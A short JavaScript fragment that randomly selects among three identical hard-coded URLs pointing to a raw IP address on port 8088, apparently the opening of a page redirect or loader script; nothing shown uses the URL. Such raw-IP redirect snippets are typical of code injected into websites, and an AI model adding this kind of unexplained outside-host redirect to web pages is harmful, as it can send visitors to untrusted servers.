var m=3;
var i=Math.floor(Math.random()*m+1) ;
if(i==1)
{var url='http://122.136.32.16:8088/';}
else
if(i==2)
{var url='http://122.136.32.16:8088/';}
else
if(i==3)
{var url='http://122.136.32.16:8088/';}